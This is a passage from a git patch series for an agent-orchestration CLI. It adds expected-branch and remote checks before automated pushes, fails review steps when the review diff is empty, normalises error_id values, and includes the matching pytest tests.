[--repo OWNER/REPO --number N] [--once|--follow] # agent knock (daemon, no --once) polls grok-usage, pending, pr.merged, github pending, mail pending, errors, and error-fix every 60s ``` diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 370e8ac..fa16dc0 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -1,7 +1,8 @@ """Automated fixer driver for error-fix implement tasks. Drains open tasks with payload.error_id from spec_written through a draft -pr.open using script control flow and lane.launch() only — no Claude session. +pr.open, the PR gates, and task state done using script control flow and +lane.launch() only — no Claude session. A human still merges the PR. """ from __future__ import annotations diff --git a/src/agent_cli/git_act.py b/src/agent_cli/git_act.py index 4e375b2..2399000 100644 --- a/src/agent_cli/git_act.py +++ b/src/agent_cli/git_act.py @@ -28,7 +28,7 @@ def _fail_detail(completed: Completed, fallback: str) -> str: return detail or fallback -def push_branch(*, cwd: str, runner: Runner) -> str: +def push_branch(*, cwd: str, runner: Runner, expected_branch: str | None = None) -> str: """Push the current branch if needed. Return HEAD sha (lowercase hex).""" completed = runner(_git(cwd, "rev-parse", "--abbrev-ref", "HEAD")) if completed.returncode != 0: @@ -36,6 +36,10 @@ def push_branch(*, cwd: str, runner: Runner) -> str: branch = completed.stdout.strip() if not branch: raise GitActError("empty branch name") + if expected_branch is not None and branch != expected_branch: + raise GitActError( + f"on branch {branch!r} but task expects {expected_branch!r} — refusing to push" + ) if branch in PROTECTED: raise GitActError(f"refusing to push protected branch {branch}") diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index acc40cd..2cb1da2 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -43,12 +43,17 @@ "REASON: [...]\n" "SCOPE: [...]\n" "DIMENSION: [...]\n" - "FINDINGS: [...]\n" + "FINDINGS: none\n" "NOT-VERIFIABLE: [...]\n" "GAPS: [...]" ) ExecArgv = Callable[..., Any] + +class EmptyReviewDiffError(Exception): + """Raised by build_review_spec_file when the collected diff is empty.""" + + # Checklist keys reset when a PR-reviewer dimension is rejected (new head). _PR_REJECT_RESET_KEYS = ( "implementer_done", @@ -326,6 +331,8 @@ def build_review_spec_file( ) -> str: """Write a four-part review prompt under $AGENT_HOME/review-work//; return its path.""" diff_text, changed_paths = _collect_review_diff(cwd, exec_argv) + if not diff_text.strip(): + raise EmptyReviewDiffError("empty review diff") parent = Path(store.home) / "review-work" / tid parent.mkdir(mode=0o700, parents=True, exist_ok=True) round_bit = round_num if round_num is not None else 0 @@ -816,10 +823,14 @@ def execute_spine_step( run_cwd = cwd or os.getcwd() from .git_act import GitActError, push_branch + payload = task.get("payload") if isinstance(task.get("payload"), dict) else {} + error_id = str(payload.get("error_id") or "").strip() + expected_branch = f"error-fix-{error_id[:8]}" if error_id else None try: sha = push_branch( cwd=run_cwd, runner=lambda argv: exec_argv(argv, cwd=run_cwd), + expected_branch=expected_branch, ) except GitActError as exc: return RunOutcome( @@ -1029,6 +1040,19 @@ def execute_spine_step( cwd=run_cwd, exec_argv=exec_argv, ) + except EmptyReviewDiffError as exc: + working = main_mod._find_working_agent( + store, tid, role=role, vendor=vendor, round_num=round_num + ) + if working is not None: + _agent_finish(str(working["id"]), "unavailable", note=str(exc)) + return RunOutcome( + kind="failed", + key=step.key, + step=step, + reason=str(exc), + message=str(exc), + ) except OSError: working = main_mod._find_working_agent( store, tid, role=role, vendor=vendor, round_num=round_num diff --git a/src/agent_cli/skills/error-fix/SKILL.md b/src/agent_cli/skills/error-fix/SKILL.md index ced1766..3636780 100644 --- a/src/agent_cli/skills/error-fix/SKILL.md +++ b/src/agent_cli/skills/error-fix/SKILL.md @@ -48,16 +48,17 @@ rules live in DESIGN.md §§14–15, §19, and §21. `pr.open` opens a **draft** via `agent github pending`. A retry reuses head `error-fix-`. Gates run on that head after `pushed`. A human merges. `agent watch error-fix-work` (DESIGN.md §21.7) automates this same - path end to end — from `spec_written` through the draft `pr.open` — using - only script control flow and the `grok`/`codex` CLIs, with no manual - `agent run` steps; it is not wired into `agent daemon`. + path end to end — from `spec_written` through the draft `pr.open`, the PR + gates, and task state `done` — using only script control flow and the + `grok`/`codex` CLIs, with no manual `agent run` steps; it is not wired into + `agent daemon`. ```bash agent activity add --session --type error.skip --payload-file agent activity add --session --type error.fix --payload-file agent task create --session --workflow implement --title "Fix error" --error-id agent watch error-fix -agent watch error-fix-work # one scan; drains spec_written through draft pr.open (§21.7); not wired into agent daemon +agent watch error-fix-work # one scan; drains spec_written → draft pr.open → PR gates → done (§21.7); not wired into agent daemon agent github pending ``` @@ -80,7 +81,7 @@ stay out of this public client. ```bash agent watch errors # one scan; knock daemon (no --once) polls every 60s agent watch error-fix # one scan; find-or-create task + worktree; knock daemon polls with grok-usage -agent watch error-fix-work # one scan; drains spec_written through draft pr.open (§21.7); not wired into agent daemon +agent watch error-fix-work # one scan; drains spec_written → draft pr.open → PR gates → done (§21.7); not wired into agent daemon ``` This file ships in the packaged tree. `agent skills path` may print an diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index a5dcd61..5e72855 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -254,6 +254,26 @@ def test_write_error_fix_spec_omits_raw_log_fields(tmp_path: Path) -> None: store.close() +def test_pushed_passes_expected_branch_from_error_id( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """error-fix tasks derive expected_branch=error-fix- for push_branch.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + captured: dict[str, object] = {} + + def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + captured["expected_branch"] = expected_branch + return "abcdef1234567890abcdef1234567890abcdef12" + + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) + run(tmp_path, ["run", "--task", tid]) + capsys.readouterr() + assert captured.get("expected_branch") == f"error-fix-{ERROR_ID[:8]}" + assert _checklist(tmp_path, tid)["pushed"] == "ja" + + def test_fixer_threads_pushed_head_into_pr_gate( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: @@ -263,7 +283,7 @@ def test_fixer_threads_pushed_head_into_pr_gate( pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" - def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] return pushed_sha def fake_launch(**kwargs): # type: ignore[no-untyped-def] @@ -279,8 +299,18 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + return Completed(0, "", "") + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) monkeypatch.setattr( "agent_cli.fixer_act.insert_pr_open_and_scan", _fake_insert_pr_open_and_scan, @@ -456,7 +486,7 @@ def test_fixer_retries_pr_open_across_scans_after_insert_failure( insert_calls = {"n": 0} head = f"error-fix-{ERROR_ID[:8]}" - def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] return pushed_sha def fake_launch(**kwargs): # type: ignore[no-untyped-def] @@ -557,7 +587,7 @@ def test_fixer_stops_on_persistent_gh_pr_create_failure( pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" create_calls = {"n": 0} - def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] return pushed_sha def fake_launch(**kwargs): # type: ignore[no-untyped-def] @@ -730,10 +760,21 @@ def test_fixer_drives_error_fix_task_to_done( pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + return Completed(0, "", "") + monkeypatch.setattr( - "agent_cli.git_act.push_branch", lambda *, cwd, runner: pushed_sha + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None: pushed_sha, ) monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) monkeypatch.setattr( "agent_cli.fixer_act.insert_pr_open_and_scan", _fake_insert_pr_open_and_scan, @@ -775,7 +816,7 @@ def test_fixer_pr_gate_rejection_clears_head_for_new_push( push_calls = {"n": 0} rejects = {"n": 0} - def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] i = push_calls["n"] push_calls["n"] += 1 return shas[min(i, len(shas) - 1)] @@ -811,6 +852,12 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: return Completed(0, shas[min(push_calls["n"], len(shas) - 1)] + "\n", "") + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") if argv and argv[0] == "pytest": return Completed(0, "ok\n", "") return Completed(0, "", "") @@ -872,7 +919,7 @@ def test_fixer_pr_gate_rejection_clears_head_before_next_step( push_calls = {"n": 0} rejects = {"n": 0} - def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] i = push_calls["n"] push_calls["n"] += 1 return shas[min(i, len(shas) - 1)] @@ -896,6 +943,12 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: return Completed(0, shas[min(push_calls["n"], len(shas) - 1)] + "\n", "") + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") if argv and argv[0] == "pytest": return Completed(0, "ok\n", "") return Completed(0, "", "") @@ -957,7 +1010,8 @@ def test_fixer_inner_reviewer_rejection_keeps_head( real_execute = fixer_mod.execute_spine_step monkeypatch.setattr( - "agent_cli.git_act.push_branch", lambda *, cwd, runner: pushed_sha + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None: pushed_sha, ) monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) monkeypatch.setattr( @@ -1129,7 +1183,7 @@ def test_fixer_resumes_pending_pr_open_via_scan_github( scan_calls: list[tuple] = [] insert_calls: list[tuple] = [] - def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] return pushed_sha def fake_launch(**kwargs): # type: ignore[no-untyped-def] diff --git a/tests/test_git_act.py b/tests/test_git_act.py index 4e3278b..3ed58dc 100644 --- a/tests/test_git_act.py +++ b/tests/test_git_act.py @@ -115,6 +115,22 @@ def runner(argv: list[str]) -> Completed: assert not any("push" in a for a in calls) +def test_push_expected_branch_mismatch() -> None: + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + raise AssertionError(f"unexpected argv: {argv}") + + with pytest.raises(GitActError, match="expects 'error-fix-aaaaaaaa'"): + push_branch( + cwd=CWD, runner=runner, expected_branch="error-fix-aaaaaaaa" + ) + assert not any("push" in a for a in calls) + + def test_push_dirty_porcelain() -> None: def runner(argv: list[str]) -> Completed: if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: diff --git a/tests/test_lane.py b/tests/test_lane.py index ae0683d..0dd9cb7 100644 --- a/tests/test_lane.py +++ b/tests/test_lane.py @@ -108,6 +108,13 @@ def test_count_findings_absent_header_is_zero() -> None: assert count_findings("STATUS: complete\nREASON: ok\n") == 0 +def test_review_output_contract_echo_parses_as_zero_findings() -> None: + """Unfilled review-output-contract template must not count as a real finding.""" + from agent_cli.run_core import _REVIEW_OUTPUT_CONTRACT + + assert count_findings(_REVIEW_OUTPUT_CONTRACT) == 0 + + def test_grok_implementer_argv() -> None: argv = grok_argv(spec_file="/tmp/spec.md", cwd="/work", write=True) assert "--session-id" not in argv diff --git a/tests/test_run.py b/tests/test_run.py index 923e64f..51b3553 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -419,6 +419,81 @@ def boom(*_args: object, **_kwargs: object) -> str: assert not any(a.get("status") == "working" for a in _agents(tmp_path, tid)) +def test_empty_review_diff_short_circuits_before_launch( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Empty collected review diff must fail the step without launching the lane.""" + tid = _bootstrap_implement(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) # close implementer_done → reviewer next + capsys.readouterr() + spec = tmp_path / "review-spec.md" + spec.write_text("review this\n", encoding="utf-8") + + monkeypatch.setattr( + "agent_cli.run_core._collect_review_diff", lambda *_a, **_k: ("", []) + ) + + def boom_launch(**_kwargs: object) -> object: + raise AssertionError("launch must not be called") + + monkeypatch.setattr("agent_cli.run_core.launch", boom_launch) + with pytest.raises(SystemExit): + run( + tmp_path, + [ + "run", + "--task", + tid, + "--spec-file", + str(spec), + "--no-tmux", + "--cwd", + str(tmp_path), + ], + ) + assert _checklist(tmp_path, tid).get("reviewer_approved") != "ja" + assert not any(a.get("status") == "working" for a in _agents(tmp_path, tid)) + + +def test_empty_diff_text_with_nonempty_changed_paths_still_short_circuits( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Empty diff_text must fail even when changed_paths is non-empty; launch must not run.""" + tid = _bootstrap_implement(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) # close implementer_done → reviewer next + capsys.readouterr() + spec = tmp_path / "review-spec.md" + spec.write_text("review this\n", encoding="utf-8") + + monkeypatch.setattr( + "agent_cli.run_core._collect_review_diff", + lambda *_a, **_k: ("", ["some/file.py"]), + ) + + def boom_launch(**_kwargs: object) -> object: + raise AssertionError("launch must not be called") + + monkeypatch.setattr("agent_cli.run_core.launch", boom_launch) + with pytest.raises(SystemExit): + run( + tmp_path, + [ + "run", + "--task", + tid, + "--spec-file", + str(spec), + "--no-tmux", + "--cwd", + str(tmp_path), + ], + ) + assert _checklist(tmp_path, tid).get("reviewer_approved") != "ja" + assert not any(a.get("status") == "working" for a in _agents(tmp_path, tid)) + + def test_launch_oserror_does_not_leave_working_agent( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: @@ -474,6 +549,16 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] ) raise OSError("missing vendor CLI binary") + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + return Completed(0, "", "") + + monkeypatch.setattr("agent_cli.main._exec_argv", fake_exec) monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) with pytest.raises(OSError): run( @@ -516,6 +601,16 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + return Completed(0, "", "") + + monkeypatch.setattr("agent_cli.main._exec_argv", fake_exec) monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) run( tmp_path, @@ -562,6 +657,16 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + return Completed(0, "", "") + + monkeypatch.setattr("agent_cli.main._exec_argv", fake_exec) monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) with pytest.raises(SystemExit) as exc: run( @@ -607,6 +712,16 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="command not found", ) + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + return Completed(0, "", "") + + monkeypatch.setattr("agent_cli.main._exec_argv", fake_exec) monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) with pytest.raises(SystemExit) as exc: run( @@ -652,6 +767,16 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + return Completed(0, "", "") + + monkeypatch.setattr("agent_cli.main._exec_argv", fake_exec) monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) with pytest.raises(SystemExit) as exc: run( @@ -702,7 +827,7 @@ def test_run_pushed_calls_push_branch( called = {"n": 0} - def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] called["n"] += 1 return "abc1234" @@ -718,6 +843,27 @@ def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] assert _checklist(tmp_path, tid)["pushed"] == "ja" +def test_pushed_passes_expected_branch_none_for_ordinary_task( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Ordinary implement tasks have no payload.error_id → expected_branch=None.""" + tid = _bootstrap_implement(tmp_path, capsys) + _advance_to_pushed(tmp_path, tid, capsys, monkeypatch) + + captured: dict[str, object] = {} + + def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + captured["expected_branch"] = expected_branch + return "abc1234" + + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) + run(tmp_path, ["run", "--task", tid]) + capsys.readouterr() + assert "expected_branch" in captured + assert captured["expected_branch"] is None + assert _checklist(tmp_path, tid)["pushed"] == "ja" + + def _bootstrap_resolve(home: Path, capsys: pytest.CaptureFixture[str]) -> str: run(home, ["init"]) run( @@ -831,7 +977,7 @@ def test_run_mergeable_after_gates( push_called = {"n": 0} - def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] push_called["n"] += 1 return "abc1234" @@ -1362,7 +1508,7 @@ def test_chain_snapshot_does_not_resolve_stale_head_across_fresh_scan( shas = [old_sha, new_sha] push_calls = {"n": 0} - def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] i = push_calls["n"] push_calls["n"] += 1 return shas[min(i, len(shas) - 1)] @@ -1370,6 +1516,12 @@ def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] def fake_exec(argv, *, cwd=None): # type: ignore[no-untyped-def] if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: return Completed(0, shas[min(push_calls["n"], len(shas) - 1)] + "\n", "") + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") if argv and argv[0] == "pytest": return Completed(0, "ok\n", "") return Completed(0, "", "") From 2c95c188180c4d397fbe3f6806aa2ce65aaacf34 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 11:57:17 -0300 Subject: [PATCH 07/47] Close the error_id normalization gap across write and read paths. The whitespace-strip fix landed at write time but the value that gets persisted and the value used for later comparisons could still diverge: the fixer's own pr.open branch-head derivation read the raw, unstripped error_id while the push-identity check used the stripped one. Also closes the existing-upstream push path's remote-name check (only the tracked branch ref was verified before, not the remote itself) and makes every error_id read path defensively normalize rather than trust that upstream writers got it right. 757 tests pass. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/error_fix_act.py | 46 ++++++++++-- src/agent_cli/fixer_act.py | 8 ++- src/agent_cli/git_act.py | 44 ++++++++---- src/agent_cli/main.py | 17 ++--- src/agent_cli/run_core.py | 16 ++++- tests/test_cli.py | 124 +++++++++++++++++++++++++++++++++ tests/test_error_fix_act.py | 36 ++++++++++ tests/test_fixer_act.py | 52 ++++++++++++++ tests/test_git_act.py | 78 +++++++++++++++++++++ tests/test_run.py | 37 ++++++++++ 10 files changed, 429 insertions(+), 29 deletions(-) diff --git a/src/agent_cli/error_fix_act.py b/src/agent_cli/error_fix_act.py index c410669..4e386d7 100644 --- a/src/agent_cli/error_fix_act.py +++ b/src/agent_cli/error_fix_act.py @@ -48,8 +48,15 @@ def _repo_ok(repo: Any) -> str | None: def _nonempty_str(raw: Any) -> str | None: - if isinstance(raw, str) and raw != "": - return raw + # Layer (a): strip here so whitespace-only values (e.g. U+00A0) cannot + # pass validation then strip to empty in run_core's expected_branch + # derivation and silently skip the push identity check. Same rule for + # id/head/fingerprint/reason/ref: whitespace-only is absent — desired, + # those fields have no meaningful whitespace-only content. + if isinstance(raw, str): + stripped = raw.strip() + if stripped != "": + return stripped return None @@ -78,7 +85,7 @@ def has_error_fix_activity(store: Store, session_id: str, error_id: str) -> bool if row.get("type") != "error.fix": continue payload = row.get("payload") - if isinstance(payload, dict) and payload.get("error_id") == error_id: + if isinstance(payload, dict) and _nonempty_str(payload.get("error_id")) == error_id: return True return False @@ -144,15 +151,27 @@ def validate_conclusion( session_id: str, typ: str, payload: dict[str, Any], -) -> None: +) -> dict[str, Any]: + """Validate payload and return the payload to persist. + + Callers MUST write the returned dict, not the original `payload`, to the + store. Validation checks the stripped (normalized) error_id/fingerprint/ + reason; every downstream comparison (has_error_fix_activity, + _chain_snapshot's error_fix_confirmed, fixer_act._error_fix_brief) does + exact `==` against whatever was persisted. Persisting the raw, unstripped + payload would validate one value and compare a different one. + """ error_id = _nonempty_str(payload.get("error_id")) if error_id is None: raise StoreError("error_id is required") fingerprint = _nonempty_str(payload.get("fingerprint")) if fingerprint is None: raise StoreError("fingerprint is required") - if typ == "error.skip" and _nonempty_str(payload.get("reason")) is None: - raise StoreError("reason is required") + reason = None + if typ == "error.skip": + reason = _nonempty_str(payload.get("reason")) + if reason is None: + raise StoreError("reason is required") seen = _error_seen(store, session_id, error_id) seen_payload = seen.get("payload") if not isinstance(seen_payload, dict) or seen_payload.get("fingerprint") != fingerprint: @@ -170,6 +189,12 @@ def validate_conclusion( raise StoreError("unmapped-repo") if typ == "error.fix" and _already_open_draft(store, fingerprint): raise StoreError("already-open-draft") + normalized = dict(payload) + normalized["error_id"] = error_id + normalized["fingerprint"] = fingerprint + if typ == "error.skip": + normalized["reason"] = reason + return normalized def find_or_create_implement_task( @@ -207,8 +232,15 @@ def _find_or_create_implement_task( *, ref: str | None = None, ) -> tuple[str, bool]: - if _nonempty_str(error_id) is None: + normalized_error_id = _nonempty_str(error_id) + if normalized_error_id is None: raise StoreError("error_id is required") + # Use the normalized (stripped) value for both the lookup and the + # persisted payload below, so a whitespace-padded caller (e.g. `agent + # task create --error-id`) matches the same stripped value everything + # else (has_error_fix_activity, _chain_snapshot, _error_fix_brief) + # compares against. + error_id = normalized_error_id existing = _lookup_implement_task(store, session_id, error_id) if existing is not None: return existing, False diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index fa16dc0..1f73859 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -385,7 +385,13 @@ def _drive_one( tid = str(task["id"]) session_id = str(task.get("session_id") or "") payload = task.get("payload") if isinstance(task.get("payload"), dict) else {} - error_id = str(payload.get("error_id") or "") + raw_error_id = payload.get("error_id") + error_id = _nonempty_str(raw_error_id) or "" + if not error_id and isinstance(raw_error_id, str) and raw_error_id != "": + # Present but strips to empty (e.g. a stale store row bypassing + # create-time validation) — fail loudly instead of silently building + # a garbage "error-fix- " branch head from it. + return f"error-fix-work {tid} failed (payload.error_id is whitespace-only)" repo = _repo_ok(payload.get("repo") or task.get("repo")) or "" brief = _error_fix_brief(store, session_id, error_id) or "" worktree = Path(store.home) / "error-fix-work" / tid diff --git a/src/agent_cli/git_act.py b/src/agent_cli/git_act.py index 2399000..ca0a400 100644 --- a/src/agent_cli/git_act.py +++ b/src/agent_cli/git_act.py @@ -28,6 +28,26 @@ def _fail_detail(completed: Completed, fallback: str) -> str: return detail or fallback +def _resolve_remote(cwd: str, runner: Runner) -> str: + """Pick the remote to use: the sole remote, or 'origin' when there are several. + + Shared by the fresh-branch push (no @{upstream} yet) and, as a + defense-in-depth check, by the existing-upstream push path — both must + agree on which remote an unattended push is allowed to target. + """ + remotes_done = runner(_git(cwd, "remote")) + if remotes_done.returncode != 0: + raise GitActError(_fail_detail(remotes_done, "git remote failed")) + remotes = [r for r in remotes_done.stdout.splitlines() if r.strip()] + if not remotes: + raise GitActError("no remotes") + if len(remotes) == 1: + return remotes[0] + if "origin" in remotes: + return "origin" + raise GitActError("ambiguous remotes (no origin)") + + def push_branch(*, cwd: str, runner: Runner, expected_branch: str | None = None) -> str: """Push the current branch if needed. Return HEAD sha (lowercase hex).""" completed = runner(_git(cwd, "rev-parse", "--abbrev-ref", "HEAD")) @@ -52,18 +72,7 @@ def push_branch(*, cwd: str, runner: Runner, expected_branch: str | None = None) completed = runner(_git(cwd, "rev-parse", "--abbrev-ref", "@{upstream}")) if completed.returncode != 0 or not completed.stdout.strip(): # Fresh branch (e.g. error-fix checkout -B): set upstream on first push. - remotes_done = runner(_git(cwd, "remote")) - if remotes_done.returncode != 0: - raise GitActError(_fail_detail(remotes_done, "git remote failed")) - remotes = [r for r in remotes_done.stdout.splitlines() if r.strip()] - if not remotes: - raise GitActError("no remotes") - if len(remotes) == 1: - remote = remotes[0] - elif "origin" in remotes: - remote = "origin" - else: - raise GitActError("ambiguous remotes (no origin)") + remote = _resolve_remote(cwd, runner) merge_ref = f"refs/heads/{branch}" merge_short = branch if merge_short in PROTECTED: @@ -87,6 +96,17 @@ def push_branch(*, cwd: str, runner: Runner, expected_branch: str | None = None) merge_short = merge_ref[len("refs/heads/") :] if merge_short in PROTECTED: raise GitActError(f"upstream tracks protected branch {merge_short}") + if expected_branch is not None and merge_short != expected_branch: + raise GitActError( + f"branch {branch!r} tracks {merge_short!r} but task expects " + f"{expected_branch!r} — refusing to push" + ) + expected_remote = _resolve_remote(cwd, runner) + if remote != expected_remote: + raise GitActError( + f"branch {branch!r} tracks remote {remote!r} but expected " + f"{expected_remote!r} — refusing to push" + ) completed = runner(_git(cwd, "fetch", "--", remote)) if completed.returncode != 0: diff --git a/src/agent_cli/main.py b/src/agent_cli/main.py index b953987..fd9bcfd 100644 --- a/src/agent_cli/main.py +++ b/src/agent_cli/main.py @@ -558,7 +558,12 @@ def cmd_activity(args: list[str]) -> None: _require_skill(session, "error-fix") with store.exclusive("error-fix-act:" + store.device_id()): - validate_conclusion(store, sid, typ, raw) + # Persist the NORMALIZED payload validate_conclusion returns, + # not raw — otherwise a whitespace-padded but valid error_id + # validates fine here and then compares != everywhere it's + # read back (has_error_fix_activity, error_fix_confirmed, + # _error_fix_brief). + normalized = validate_conclusion(store, sid, typ, raw) activity_id = str(uuid.uuid4()) store.write( "activity", @@ -568,7 +573,7 @@ def cmd_activity(args: list[str]) -> None: "id": activity_id, "session_id": sid, "type": typ, - "payload": raw, + "payload": normalized, "execution_status": "pending", }, ) @@ -2183,7 +2188,7 @@ def load_session_tasks(store: Store, session_id: str) -> list[dict]: def _chain_snapshot(store: Store, tid: str, extra_head: str | None = None) -> dict: - from .error_fix_act import has_error_fix_activity + from .error_fix_act import _nonempty_str, has_error_fix_activity task = load_task_dict(store, tid) sid = str(task.get("session_id") or "") @@ -2234,11 +2239,7 @@ def 